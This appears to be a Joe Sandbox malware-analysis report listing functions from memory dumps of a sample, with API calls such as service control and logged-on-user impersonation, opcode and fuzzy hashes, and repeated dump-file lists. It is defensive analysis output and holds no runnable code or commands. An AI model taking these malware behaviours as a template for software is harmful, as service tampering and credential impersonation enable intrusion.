Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction ID: 63025053e4bbdeb47eb11c0f67e1a6239304768fd73a47f3a666d231ed8a7805
Opcode Fuzzy Hash: bee21572d621a0b459903af47bba552302bde97dbf6a9639cd0214d7c2ad02f3
Instruction Fuzzy Hash: 5B21DAA724E2916EF30257547D60AFA7B6CEB93330BB544AFF481C7083DA581D05933A

Function 00428B4F Relevance: 1.6, APIs: 1, Instructions: 72
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00428BE5

Memory Dump Source

Source File: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction ID: 97b8bc8735e39ed126fe679dcb14b615985c2ba349a101342198a17eccc6083e
Opcode Fuzzy Hash: 94e110ebbf5e5e2e84dbde28d6b9d844c79e1bd1d0d2e05a12631351bed8193e
Instruction Fuzzy Hash: 541129B6305229AED710DF68A9007EF3B98E756330F70043EB800D3A42EB781D158A1D

Function 04BE0D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BE0DCD

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: e46b86eab079b2556af389c575dd52c82805234706d1c0c46b29ecf7a05c96b3
Instruction ID: 8350269aee3db1c2f560f9ca7daf0beb7c90f86c2f572d4d1bff3cff7a568e36
Opcode Fuzzy Hash: e46b86eab079b2556af389c575dd52c82805234706d1c0c46b29ecf7a05c96b3
Instruction Fuzzy Hash: 2F2134B6C002189FDB10DF9AD884BDEFBF4FB88310F14855AE808AB205C774A545CBA5

Function 04BE0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04BE0DCD

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 87f79ccb9ea7841dead3200274ebcdd12f1480c2a417f6a7c6ec8f4b9a23c3ed
Instruction ID: d1b62894a7da1f9436e9b8b1c4b8de051a238ff2b05d7d13e9e203568f3a427e
Opcode Fuzzy Hash: 87f79ccb9ea7841dead3200274ebcdd12f1480c2a417f6a7c6ec8f4b9a23c3ed
Instruction Fuzzy Hash: 992124B6C01218DFDB10DF9AD884BDEFBF4FB88310F14855AD808AB245D774A545CBA5

Function 04BE1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BE1580

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 4b06d1139a94230d031c7c54f63ba81ed25f1efb279bf13cf149b1c938fb9c16
Instruction ID: 6007b81cfca66d1fcb88dc16048e1dd2fc09567eaf57992069b37169c744165d
Opcode Fuzzy Hash: 4b06d1139a94230d031c7c54f63ba81ed25f1efb279bf13cf149b1c938fb9c16
Instruction Fuzzy Hash: 7E2106B19006499FDB10CF9AC444BDEFBF4EB48324F148429E559A7251D378A644CFA5

Function 04BE1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04BE1580

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9e7e3828ef9a05033e46719925b9e272503f8de471e187ab2956d3baa26ea871
Instruction ID: 22b615f8efcf0df9a5f4b200c4973d5777f719080de0b3408ad68a925d7f9abe
Opcode Fuzzy Hash: 9e7e3828ef9a05033e46719925b9e272503f8de471e187ab2956d3baa26ea871
Instruction Fuzzy Hash: F11114B1D00249DFDB10CF9AC484BDEFBF4EB48320F14842AE958A3250D378A644CFA5

Function 00428B8E Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00428BE5

Memory Dump Source

Source File: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction ID: 6a6a995388e9edc5541dd2c4e15bf27fa97fb5f9f0dced4c24040360b2ce68d3
Opcode Fuzzy Hash: f109f834b16558688c064ee9001c88fb140e6a269f5ddfe7637ab893a55bc2f0
Instruction Fuzzy Hash: 4F01F1B62091199EEB50CF18EA007EF37D8EB84320F20442EA800C3A82D7790C19CB2D

Function 00428BA9 Relevance: 1.6, APIs: 1, Instructions: 50
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00428BE5

Memory Dump Source

Source File: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction ID: 554dce6ce7e2572fa67b09521602d9147ad8fa1cbb0937394a530da50277944c
Opcode Fuzzy Hash: 7d1558965fcf6961642d4a1c5ff138cb5df163f741e2605353c4c9d070e83c70
Instruction Fuzzy Hash: FD01C0B6609259CEDB48CF28E91139E3BE0FB65310F60086FE804C3A92CB395D59CB0D

Function 04BE1301 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BE1367

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 79a94c67c8d213cee4f4722bd5cc3a48e9e20614b5d7b7bc9a643a43d8c6f28d
Instruction ID: 7a340477c1961fa5c5421a03c7341f1ffc51f708628543af1314d6df8a94c6d6
Opcode Fuzzy Hash: 79a94c67c8d213cee4f4722bd5cc3a48e9e20614b5d7b7bc9a643a43d8c6f28d
Instruction Fuzzy Hash: 15115871800309CFDB10CF9AC444BDEFBF8EB48324F248459D558A3650C378A544CFA1

Function 04BE1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04BE1367

Memory Dump Source

Source File: 00000003.00000002.1877230844.0000000004BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4be0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 55793e284586c03e64d73e15fbc88a940d77d237d2a31f90cbb13af48106e815
Instruction ID: e13325572983b7d4a06aa56b5b0384d898f24624795dfb55feb040861f674340
Opcode Fuzzy Hash: 55793e284586c03e64d73e15fbc88a940d77d237d2a31f90cbb13af48106e815
Instruction Fuzzy Hash: 1D1148B1800349CFDB10CF9AC444BEEFBF4EB48324F24845AD558A3650C778A544CFA5

Function 00428BC7 Relevance: 1.5, APIs: 1, Instructions: 43
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,EE62F643), ref: 00428BE5

Memory Dump Source

Source File: 00000003.00000002.1874545827.0000000000424000.00000040.00000001.01000000.00000006.sdmp, Offset: 002A0000, based on PE: true

Associated: 00000003.00000002.1874053119.00000000002A0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874076704.00000000002A2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874097974.00000000002A6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874118628.00000000002AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874141025.00000000002B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874165567.00000000002B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874187219.00000000002B6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874391107.0000000000407000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874473877.000000000040A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874504663.0000000000422000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874525740.0000000000423000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874545827.000000000042D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874588246.0000000000437000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874608603.0000000000439000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874630917.0000000000442000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874651753.0000000000449000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874675195.000000000045F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874696906.0000000000470000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874717602.000000000047E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874738679.0000000000482000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874757551.0000000000483000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874776380.0000000000485000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874796837.0000000000491000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874817708.000000000049A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874836376.000000000049B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874855882.00000000004A0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874874204.00000000004A1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874893215.00000000004A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874916305.00000000004B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874935582.00000000004BA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874954540.00000000004BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874974618.00000000004C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1874993589.00000000004CA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875012156.00000000004CB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875030690.00000000004CC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875052531.00000000004D3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875072868.00000000004E2000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875095037.00000000004E4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875114597.00000000004E5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875133813.00000000004E8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875153321.00000000004F1000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875174137.00000000004F2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875203060.000000000052D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875221772.000000000052E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.000000000052F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875239913.0000000000537000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875279036.0000000000546000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.1875297682.0000000000548000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2a0000_3OJIEMQOE0U9W5K609DU0.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5aa27515855c32e71f09e32fba5b5a1b13f19e050d5434bf7547385f15b65ef0
Instruction ID: b0d3abb5090b9bb148f3ec9d09164c63bc639f026415fcf92bfc3cde2fb25a61
